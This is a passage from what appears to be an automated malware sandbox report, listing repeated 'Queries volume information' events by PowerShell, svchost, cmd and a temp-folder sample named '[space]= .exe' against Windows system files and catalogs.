Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Queries volume information: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
